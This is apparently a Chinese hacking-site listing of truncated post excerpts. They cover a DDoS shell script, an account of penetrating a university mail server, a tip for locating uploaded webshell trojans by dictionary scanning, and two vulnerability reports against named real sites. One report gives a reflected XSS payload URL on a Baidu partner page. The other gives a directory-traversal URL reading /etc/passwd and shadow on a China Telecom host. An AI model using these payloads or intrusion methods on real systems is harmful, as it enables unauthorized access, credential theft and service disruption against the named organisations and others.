-

DDOS SHELL
#=======================================================================<br># 名称:DDOS SHELL<br># 功能:主要用于DD...
-

渗透某大学邮件服务器
一、踩点了目标mail.xxx.edu.cn,做了CDN,真实IP暂时不知。linux的系统,开了22,直接搞估计是没戏的,只有慢慢从旁渗透了。第一步,当然是google了,site:xxx.edu.cn inurl:.asp?,然后丢到管...
-
针对上传木马找不到名字的解决办法
有时 传了 木马上去后 直接是 xiaoma.asp还有种 是按照时间生成名字如201103091**************.asp下面这种如果又 没有回显的话 就可以做 个字典扫生成字典uploadfile/2011/1/1/20110...
-

百度游戏合作伙伴跨站
详细说明:php?action=change%22%3e%3cscript%3ealert('">http://youxi.m.baidu.com/modify_all.php?action=change%22%3e%3cs...
-

中国电信翼聊网站任意下载漏洞
详细说明:wap.ecplive.cn/ecpclientdown/download.do?file=../../../../../../../../../etc/passwdfile这个参数另外shadow也可以的所以webserver应...